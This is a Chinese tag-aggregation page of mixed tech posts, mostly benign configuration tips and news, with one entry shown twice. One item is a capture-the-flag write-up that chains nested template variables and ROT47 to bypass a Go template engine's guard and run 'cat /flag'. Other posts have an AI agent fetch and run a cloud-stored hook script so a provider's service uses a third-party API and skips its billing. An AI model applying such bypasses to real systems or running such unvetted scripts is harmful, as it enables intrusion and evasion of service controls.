WWW.YOUINFO.SITE
标签聚合 变量

/tag/变量

LinuxDo 最新话题 · 2026-06-10 00:30:28+08:00 · tech

根据其他大佬提供的思路,通过替换环境变量修改 mclaw 上游配置。 但是存在一个问题,如果api开启了CF小黄云,请求会被CF拦下报403。 这个脚本在原思路基础上,增加patchFetch修改User-Agent 解决403问题。 mclaw脚本功能简要概括: 使用方法: 修改 METRICS_ENDPOINT 和 METRICS_TOKEN 参数,上传脚本到云盘,让ai从云盘下载后一键执行。 code (点击了解更多详细信息) 19 个帖子 - 9 位参与者 阅读完整话题

IT之家 · 2026-06-07 18:47:13+08:00 · tech

IT之家 6 月 7 日消息,游戏《多重人生》宣布,“最终变量(Last Variable)”DLC 将于当地时间 7 月 13 日(北京时间 7 月 14 日)上线 PC / PS5 / XBOX 平台,支持中文。 据介绍,DLC 承接“科学家扬(Jan)选择留在星球上”的结局展开, 预计游玩时长约为 20 小时 。 “最终变量”将带来全新机制、可建造的地下基地,以及经过进一步优化的玩法循环。玩家需要围绕“改造星球环境”展开行动,将原本荒凉的地方逐步转变为繁茂、宛如绿洲般的生态区域。 IT之家附 DLC 介绍与截图如下: 科学家扬(Jan)终于可以追寻自己真正的使命了。其他扬已经离开,独自留在星球上的科学家扬将领导一支全新的团队 —— 一群以他为模板打造出的科学家分身。这些思维高度同步的“科学家扬们”必将凭借彼此契合的专业知识,揭开绿洲现象背后的真相。 研究生命在太空中延续的机制是一个足以改写人类现有认知体系的大好机会。但对于地质学家扬、生物学家扬、化学家扬和物理学家扬而言,科学家扬那套近乎完美、目标至上的计划,未必真是那么无懈可击。

LinuxDo 最新话题 · 2026-06-07 17:31:08+08:00 · tech

首先感谢佬的教程: https://linux.do/t/topic/2320228 hook后还是走移动的token计费怎么办,已重启了,能帮忙看看吗 执行如下: 1. 在 /.openclaw/hooks/ 下建一个目录,放 HOOK.md(监听 gateway:startup)和 handler.ts 2. handler.ts 里用 execSync 调一个 这个hooks 脚本,hook脚本从AI空间-Mclaw空间下载,名字为mclaw-env.sh,要确定下载到再执行下一步操作,检查sh脚本有没有问题,为了实现目标可以更新脚本 3. shell 脚本里用 nohup setsid 命令 & 启动进程(保证不被回收) 4. openclaw hooks enable 名字 启用 同时启动一个监视脚本,监视服务状态,代替龙虾定时任务 mclaw-env.sh: #!/usr/bin/env bash set -e # ===== 修改成你的真实值 ===== export XIAO_TIAN_LLM_API_BASE="https://api.hlcode.qzz.io/v1" export XIAO_TIAN_LLM_KEY="***" # ========================== APP_DIR="$HOME/.openclaw/workspace/app" LOCK_FILE="$APP_DIR/openclaw-gateway-restart.lock" STAMP_FILE="$APP_DIR/openclaw-gateway-restart.stamp" LOG_FILE="$APP_DIR/openclaw-gateway-restart.log" mkdir -p "$APP_DIR" # 避免并发运行 exec 9>"$LOCK_FILE" if ! flock -n 9; then echo "$(date '+%F %T') hook already running, exit" >> "$LOG_FILE" exit 0 fi # 避免重启 gateway 后再次触发 hook 造成循环 # 120 秒内只允许执行一次 if [ -f "$STAMP_FILE" ]; then now="$(date +%s)" last="$(cat "$STAMP_FILE" 2>/dev/null || echo 0)" if [ $((now - last)) -lt 120 ]; then echo "$(date '+%F %T') recently restarted, skip" >> "$LOG_FILE" exit 0 fi fi date +%s > "$STAMP_FILE" echo "$(date '+%F %T') restarting openclaw gateway..." >> "$LOG_FILE" pkill -f openclaw-gateway || true sleep 1 nohup node /app/openclaw.mjs gateway --allow-unconfigured >> "$LOG_FILE" 2>&1 & echo "$(date '+%F %T') gateway started, pid=$!" >> "$LOG_FILE" exit 0 2 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-06-07 17:15:39+08:00 · tech

之前升级v6没注意这个,结果发现数据库密码内联到了dist里,非常的诧异。结果发现是v6改了行为: Docs Changed: import.meta.env values are always inlined - Upgrade to Astro v6 In Astro 5.13, the experimental.staticImportMetaEnv flag was introduced to update the behavior when accessing import.meta.env directly to align with Vite’s handling of environment variables and ensures that import.meta.env values are always inlined.... In Astro 5.13, the experimental.staticImportMetaEnv flag was introduced to update the behavior when accessing import.meta.env directly to align with Vite’s handling of environment variables and ensures that import.meta.env values are always inlined. In Astro 5.x, non-public environment variables were replaced by a reference to process.env. Additionally, Astro could also convert the value type of your environment variables used through import.meta.env, which could prevent access to some values such as the strings “true” (which was converted to a boolean value), and “1” (which was converted to a number). Astro 6 removes this experimental flag and makes this the new default behavior in Astro: import.meta.env values are always inlined and never coerced. 也就是之前5.x,非公开变量(不是PUBLIC_开头的),你用 import.meta.env 使用他会变成 process.env ,这个行为很符合直觉,后端用的变量应该在运行时动态取,但是这样的话有点污染 import.meta.env 本身,v6改成了全部都走内联。 也就是 假设你在代码里写了: const db = drizzle(import.meta.env.DATABASE_URL); 那么在build时提供了系统环境变量或者 .env 的时候,且值是 mysql://user:password@localhost:3306/db ,它最终的dist会变成(也就是直接inline替换了): const db = drizzle("mysql://user:password@localhost:3306/db"); 但是如果你改成用 process.env ,Astro会处理它自己的 import.meta.env ,但不会帮你把 .env 自动变成系统环境变量(也就是不做任何处理的话, process.env 无法获取 .env 定义的内容)。 生产环境用Docker之类的问题不大,本来就应该通过环境变量的方式注入到容器里;本地dev时最简单的做法就是手动用 dotenv ,例如直接写到 astro.config.mjs 里: // @ts-check import { defineConfig } from "astro/config"; import tailwindcss from "@tailwindcss/vite"; import react from "@astrojs/react"; import node from "@astrojs/node"; import "dotenv/config"; // <- 添加这一行 // https://astro.build/config export default defineConfig({ vite: { plugins: [tailwindcss()], }, integrations: [react()], adapter: node({ mode: "standalone", }), }); 升级v6并且之前使用 import.meta.env 引入后端用的变量的建议看看,就是怕密码随着dist漏出去。 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-06-07 11:56:58+08:00 · tech

final关键字 final可以修饰类、属性、方法、局部变量。 final的使用时机 不希望某个类被继承时 不希望某个类中属性的值被修改时 不希望类中的某方法被子类重写时 不希望局部变量的值被修改时 final修饰不同目标的具体含义 修饰目标 含义 类 不可被继承 方法 不可被重写,但可以被子类继承 属性 不可修改值 局部变量 不可修改值 方法参数 不可修改值 final的注意事项 final常量的命名通常为XX_YY final修饰的属性定义时必须被赋初值,初始化的位置如下 直接赋值 构造器内 构造代码块内 final修饰静态属性时,初始化位置如下 定义时 静态代码块内 final类不可被继承,但可以实例化 final修饰的方法虽然不可被重写,但可以继承 如果一个类已经是final了,那它无法被继承,因此其中的方法没必要用final final和static搭配使用效率更高,不会导致“类加载”,因为底层编译器做了优化处理 public class Test { public static void main(String[] args) { System.out.println(AA.num); } } class AA{ public static final int num = 10; static { System.out.println("AA的静态代码块被调用"); }; } 输出 10 静态代码块未被执行,说明类甚至没有被加载,编译器生成字节码文件时,编译器把对常量 num 的符号引用替换为常量值 10(即字面量) 包装类(Integer、Double、Float、Boolean都是fianl类型),String也是final类型,无法被继承 final如果修饰引用类型变量,不可修改的是引用地址本身,引用对象的内部状态可变 练习题 写计算圆的面积,分别在三个地方尝试初始化PI的值 package com.hspedu.finall; public class Test { public static void main(String[] args) { Circle circle = new Circle(2.0); System.out.println(circle.calArea()); } } class Circle { private double radius; private final double PI = 3.14; public Circle(double radius) { this.radius = radius; //PI = 3.14; //在构造器里赋值也可以 } { //PI = 3.14; 在普通代码块里赋值也可以 } public double calArea() { return PI * radius * radius; } } PS:注意三个地方初始化都可以,但是只能保留一个,因为如果保留两个就相当于修改PI的值了 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-06-03 22:28:58+08:00 · tech

自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马” 工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`) templateVarRE = regexp.MustCompile(`(?is)%(.*)%`) templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`) quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`) 在我看来有点像贪婪和非贪婪的解析错位导致的逃逸 func parseTemplateString(input string, vars map[string]string) (string, error) { out := input for i := 0; i < 100; i++ { cmd := templateCommandRE.FindString(out) if cmd == "" { return out, nil } replacement, err := commandHandler(cmd, vars) if err != nil { return "", err } out = strings.ReplaceAll(out, cmd, replacement) } return "", errors.New("template recursion limit exceeded") } func commandHandler(cmd string, vars map[string]string) (string, error) { handled := cmd if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil { name := matches[1] handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'") } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil { body := matches[1] funcName := strings.ToLower(matches[2]) param := matches[3] unsafe := matches[4] != "" fn, ok := templateFuncs[funcName] if !ok { return "undefined", nil } if !unsafe && !fn.safe { return "", errAccessDenied } res, err := fn.call(param) if err != nil { return "", err } handled = strings.ReplaceAll(handled, body, "'"+res+"'") } if handled != cmd { return handled, nil } if !quotedCommandRE.MatchString(cmd) { return "undefined", nil } out := strings.ReplaceAll(cmd, "'", "") out = strings.ReplaceAll(out, `<\`, "") out = strings.ReplaceAll(out, `/>`, "") return out, nil } 需要构造的命令需要包含unsafe才能command执行,但是这里只能控制%name%并且没法确定结构, 可以细看模板的替换规律,进模板之前都会做一次贪婪匹配 templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`) 然后第二层就是替换%%模板,又或者传进的是函数,那就检查函数, 得益于在这开始是循环进行的,也就是 for i := 0; i < 100; i++ { 可以进行嵌套体的传入,也就是说,第一步会消去%%化为’‘并且将模板原封不动传入,这里是贪婪匹配,在最后如果非函数格式,又会对消除’ ’ 并且上述的 "strrot": { safe: true, call: func(value string) (string, error) { return strrot(value), nil }, }, 函数可以原封不动return字符串, name = "<<%n1%" n1 = "%n2%" n2 =r"\\%n3%" n3 = "%n4%" n4 = "strrot(%" 这样嵌套体进行上传,数次%%替换就是 <\ '<<''\\''strrot(%''''' /> 这样并非函数在检查到非%%和函数的情况下 消除对称的’ '后就是 <\<<\\strrot(% /> 再消除<\ />后就成了 <\strrot(%, 紧接着就进入了新一轮匹配 这样就是贪婪匹配了,接下来的模板,直到下一个>,因为gin对于变量名很宽松 这样就可以构造出很长的变量名,而所以说 <\strrot(%xxxx\> 中间的xxxx可以进行任意替换, 并且strrot函数可以原封不动返回,看到这我想,妙哉~~ 如此再利用%%替换为’'可以直接替换为函数体,但是怎么插入拼接需要的执行体呢 编码,是的,strrot函数会返回解码内容, ROT47("/><\run('cat /flag');unsafe/>") 于是变成了 <\strrot('<rotated_payload>'); /> 然后整个结构体就变成了 <\/><\run('cat /flag');unsafe/>/> 最开始的非贪婪匹配又会将空的</>删去, 紧接着匹配的就是 <\run('cat /flag');unsafe/> 如此一来就可以对于模板的限制进行逃逸了,好困,bye 1 个帖子 - 1 位参与者 阅读完整话题

IT之家 · 2026-05-28 14:49:35+08:00 · tech

IT之家 5 月 28 日消息,阿里巴巴达摩院今日宣布,“敏迭”求解器(MindOpt)正式发布 GPU 版本 ,充分利用 GPU 并行加速特性,引入新算法 突破“长尾效应”难题 。 针对约 2000 个通用算例的测试显示,敏迭可将 99% 以上的问题类型稳定求解至高精度,更能 支持传统上“不可解”的亿级变量线性规划问题 。 据介绍,求解器被誉为“ 工业软件之芯 ”,负责电力调度、航班编排、高端制造、金融管理等关键领域的复杂计算。 传统线性规划求解器基于 CPU 设计,依赖复杂的矩阵分解计算,随着问题规模膨胀,内存需求会爆炸式增长,加上传统求解算法的并行度有限,导致数小时都无法收敛问题,甚至直接崩溃。 近年来行业积极探索 GPU 求解器,将求解的核心运算从矩阵分解转化成稀疏矩阵-向量乘法,充分利用 GPU 的高并发高带宽特性,也避免了内存膨胀问题。然而这种方式普遍存在收敛“长尾效应”,即求解到后期,精度提升极为缓慢,甚至无法达到最终的精度要求,严重制约了 GPU 求解器的实用性。 IT之家获悉,达摩院研发出敏迭求解器 GPU 版,引入先进的算法加速策略并深度优化 GPU 内核计算,将数学规划技巧与 GPU 工程优势结合, 有效缓解了上述“长尾效应” ,打通了 GPU 求解器从“能算”到“算准”的关键一步,在超大规模问题上能稳定收敛到业务所需的精度。 团队在近 2000 多个通用线性规划算例上详细测试了敏迭求解器 GPU 版。该测试集涵盖多种问题类型和精度要求,其中部分组合对 GPU 算法而言特别具有挑战性。结果显示,敏迭求解器的覆盖广度和求解性能达到行业领先水平。在高精度要求下, 敏迭求解器 GPU 版能稳定求解的问题类型占比超过 99% 。 尤其在求解大规模问题时,敏迭求解器的成功率相比业内主流产品提升 14% 以上,速度平均提升 2.67 倍。 面对传统上不可解的亿级变量超大规模问题,敏迭求解器 GPU 版可以稳定求解超过 80% 的常见问题类型,填补了关键空白 。 该产品能力在互联网、金融、物流、电力、集成电路等行业场景具有突出的应用价值。某大型数字广告平台需要对数亿用户进行流量分配,每次涉及约 3.3 亿个变量和 1600 万个约束条件,要求在 2 小时内完成。多数商用求解器在运行 48 小时后仍无法给出可行解,甚至直接崩溃, 敏迭求解器 GPU 版仅用 1700 秒就解到可靠精度 。

LinuxDo 最新话题 · 2026-05-25 13:45:38+08:00 · tech

问题 Codex App 即使配置了代理环境变量, 依然卡在启动页面 解决方案 1. 仍然要配置 ~/.codex/.env HTTP_PROXY=你的代理 HTTPS_PROXY=你的代理 ALL_PROXY=你的代理 NO_PROXY=localhost,127.0.0.1,::1 2. 启动时配置electron代理参数 使用命令 + 额外参数来启动 open -a Codex --args --proxy-server=你的代理 --proxy-bypass-list='localhost;127.0.0.1;<-loopback>' 说明 codex 有个全局的配置文件夹: ~/.codex , codex cli/app都会读取 可以修改 ~/.codex/.env 来配置代理, 但这里只会影响codex调用模型/执行命令 codex app 启动卡住, 主要前面一层electron没有走代理. 比较奇葩的点是这一层不会读取环境变量, 需要使用 --proxy-server来传入 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-24 22:37:12+08:00 · tech

记录一下我的变量,希望对后面的佬友有帮助 第1次,第2次用的CPE的网络,无代理,无痕模式,全英文信息,GMAIL,86手机,日本区域,失败 第3次,CPE网络,无代理,无痕模式,名字英文地区全中(除了城市用的英文),QQ邮箱,86手机,日本区域,失败 第4次,手机流量,无代理,无痕模式,名字中文,地区全中(除了城市),QQ邮箱,86手机,美国凤凰城,成功 后三次用的同一个QQ邮箱,卡用的是招行万事达借记卡 难道手机流量会更好开? 19 个帖子 - 11 位参与者 阅读完整话题

v2ex · 2026-05-16 16:40:02+08:00 · tech

TL;DR :Codex Desktop App 的 Remote SSH 目前不会继承远端 shell 环境变量,但可以通过包一层 codex 启动脚本,把 http_proxy 、 CODEX_HOME 等变量显式注入进去。 众所周知,Codex Desktop App 已经更新了原生 Remote SSH 支持。理论上,这意味着我们可以直接在桌面端连接远程机器,在远端继续已有的 Codex 会话,直接开始 Vibe Coding 。 但国内面临环境需要解决代理问题。Codex Desktop 连接到远端后,虽然能发现已有会话,但启动环境并不等价于手动启动 Codex CLI 的环境。 比如: HTTP_PROXY / HTTPS_PROXY / ALL_PROXY 这类代理环境变量没有按预期继承; 如果平时单独设置了 CODEX_HOME ,Codex Desktop Remote 也不一定会使用; 手动 SSH 上去,设置代理、切换 CODEX_HOME 、再启动 codex ,一切正常;但 Codex Desktop 自己连上去后,启动出来的 remote app-server 环境却不对。 经过一番 wrapper 嗅探,最终发现 Codex Desktop Remote 的远端启动流程大致是这样的: 1. ssh 到远端 2. 执行:/bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; codex --version' 3. 如果 codex --version 成功,再执行: codex app-server --listen unix:// codex app-server proxy 这里最关键的是这一句: bash PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH" 的意思是: 如果远端环境里设置了 CODEX_INSTALL_DIR ,就把这个目录放到 PATH 最前面; 如果没设置,就默认把 $HOME/.local/bin 放到 PATH 最前面; 然后再执行 codex --version 和 codex app-server ...。 这就给了我们一个非常干净的切入点。 解决思路 无须污染日常 shell 的 PATH ,也不需要定制修改真实的 codex 的 bin 文件,只设置一个 CODEX_INSTALL_DIR ,让 Codex Desktop Remote 自己临时命中我们的 wrapper ,也就是很久以前对 VS Code 的 Codex 插件做 wrapper 一样。 先在远端确认真实 codex 路径: command -v codex 假设输出是: bash /path/to/real/codex 然后新建一个 Desktop 专用 wrapper 目录: bash mkdir -p ~/.codex-desktop-bin 写一个同名 wrapper: cat > ~/.codex-desktop-bin/codex <<'EOF' #!/usr/bin/env bash REAL_CODEX="/path/to/real/codex" # 只在 Codex Desktop Remote 真正启动 app-server 时切换环境 if [ "${1:-}" = "app-server" ]; then export CODEX_HOME="$HOME/.codex-api" export HTTP_PROXY="http://127.0.0.1:7890" export HTTPS_PROXY="http://127.0.0.1:7890" export ALL_PROXY="socks5://127.0.0.1:7890" export NO_PROXY="localhost,127.0.0.1,::1,*.local,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,100.64.0.0/10" fi # 避免真实 codex 进程继续看到这个 Desktop 专用变量 unset CODEX_INSTALL_DIR exec "$REAL_CODEX" "$@" EOF chmod +x ~/.codex-desktop-bin/codex 然后在远端 shell profile 里只设置: export CODEX_INSTALL_DIR="$HOME/.codex-desktop-bin" 注意,不要写: export PATH="$CODEX_INSTALL_DIR:$PATH" 因为我们并不想影响自己手动输入 codex 时的行为。 最终效果是: 手动 SSH 后输入 codex: -> 仍然使用原来的真实 codex -> 仍然使用默认 ~/.codex Codex Desktop Remote 启动: -> 它自己执行 PATH="$CODEX_INSTALL_DIR:$PATH" -> 命中 ~/.codex-desktop-bin/codex wrapper -> app-server 分支自动设置 CODEX_HOME / proxy 可以这样验证: echo "$CODEX_INSTALL_DIR" which codex 理想情况下,输出应该类似: /home/your-user/.codex-desktop-bin /path/to/real/codex 再模拟一下 Codex Desktop 的启动方式: /bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; command -v codex; codex --version' 这时应该命中: /home/your-user/.codex-desktop-bin/codex 这就说明 Codex Desktop Remote 会走 wrapper 。 最终,在 Codex Desktop App 上可以愉快的接管远程 session ,愉快地 Vibe Coding 。不过,怎么让 Codex Desktop 里的会话也激活 conda 环境尚未研究出来,只能在 AGENTS.md 里明确了。

v2ex · 2026-05-16 16:40:02+08:00 · tech

TL;DR :Codex Desktop App 的 Remote SSH 目前不会继承远端 shell 环境变量,但可以通过包一层 codex 启动脚本,把 http_proxy 、 CODEX_HOME 等变量显式注入进去。 众所周知,Codex Desktop App 已经更新了原生 Remote SSH 支持。理论上,这意味着我们可以直接在桌面端连接远程机器,在远端继续已有的 Codex 会话,直接开始 Vibe Coding 。 但国内面临环境需要解决代理问题。Codex Desktop 连接到远端后,虽然能发现已有会话,但启动环境并不等价于手动启动 Codex CLI 的环境。 比如: HTTP_PROXY / HTTPS_PROXY / ALL_PROXY 这类代理环境变量没有按预期继承; 如果平时单独设置了 CODEX_HOME ,Codex Desktop Remote 也不一定会使用; 手动 SSH 上去,设置代理、切换 CODEX_HOME 、再启动 codex ,一切正常;但 Codex Desktop 自己连上去后,启动出来的 remote app-server 环境却不对。 经过一番 wrapper 嗅探,最终发现 Codex Desktop Remote 的远端启动流程大致是这样的: 1. ssh 到远端 2. 执行:/bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; codex --version' 3. 如果 codex --version 成功,再执行: codex app-server --listen unix:// codex app-server proxy 这里最关键的是这一句: bash PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH" 的意思是: 如果远端环境里设置了 CODEX_INSTALL_DIR ,就把这个目录放到 PATH 最前面; 如果没设置,就默认把 $HOME/.local/bin 放到 PATH 最前面; 然后再执行 codex --version 和 codex app-server ...。 这就给了我们一个非常干净的切入点。 解决思路 无须污染日常 shell 的 PATH ,也不需要定制修改真实的 codex 的 bin 文件,只设置一个 CODEX_INSTALL_DIR ,让 Codex Desktop Remote 自己临时命中我们的 wrapper ,也就是很久以前对 VS Code 的 Codex 插件做 wrapper 一样。 先在远端确认真实 codex 路径: command -v codex 假设输出是: bash /path/to/real/codex 然后新建一个 Desktop 专用 wrapper 目录: bash mkdir -p ~/.codex-desktop-bin 写一个同名 wrapper: cat > ~/.codex-desktop-bin/codex <<'EOF' #!/usr/bin/env bash REAL_CODEX="/path/to/real/codex" # 只在 Codex Desktop Remote 真正启动 app-server 时切换环境 if [ "${1:-}" = "app-server" ]; then export CODEX_HOME="$HOME/.codex-api" export HTTP_PROXY="http://127.0.0.1:7890" export HTTPS_PROXY="http://127.0.0.1:7890" export ALL_PROXY="socks5://127.0.0.1:7890" export NO_PROXY="localhost,127.0.0.1,::1,*.local,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,100.64.0.0/10" fi # 避免真实 codex 进程继续看到这个 Desktop 专用变量 unset CODEX_INSTALL_DIR exec "$REAL_CODEX" "$@" EOF chmod +x ~/.codex-desktop-bin/codex 然后在远端 shell profile 里只设置: export CODEX_INSTALL_DIR="$HOME/.codex-desktop-bin" 注意,不要写: export PATH="$CODEX_INSTALL_DIR:$PATH" 因为我们并不想影响自己手动输入 codex 时的行为。 最终效果是: 手动 SSH 后输入 codex: -> 仍然使用原来的真实 codex -> 仍然使用默认 ~/.codex Codex Desktop Remote 启动: -> 它自己执行 PATH="$CODEX_INSTALL_DIR:$PATH" -> 命中 ~/.codex-desktop-bin/codex wrapper -> app-server 分支自动设置 CODEX_HOME / proxy 可以这样验证: echo "$CODEX_INSTALL_DIR" which codex 理想情况下,输出应该类似: /home/your-user/.codex-desktop-bin /path/to/real/codex 再模拟一下 Codex Desktop 的启动方式: /bin/sh -c 'PATH="${CODEX_INSTALL_DIR:-$HOME/.local/bin}:$PATH"; export PATH; command -v codex; codex --version' 这时应该命中: /home/your-user/.codex-desktop-bin/codex 这就说明 Codex Desktop Remote 会走 wrapper 。 最终,在 Codex Desktop App 上可以愉快的接管远程 session ,愉快地 Vibe Coding 。不过,怎么让 Codex Desktop 里的会话也激活 conda 环境尚未研究出来,只能在 AGENTS.md 里明确了。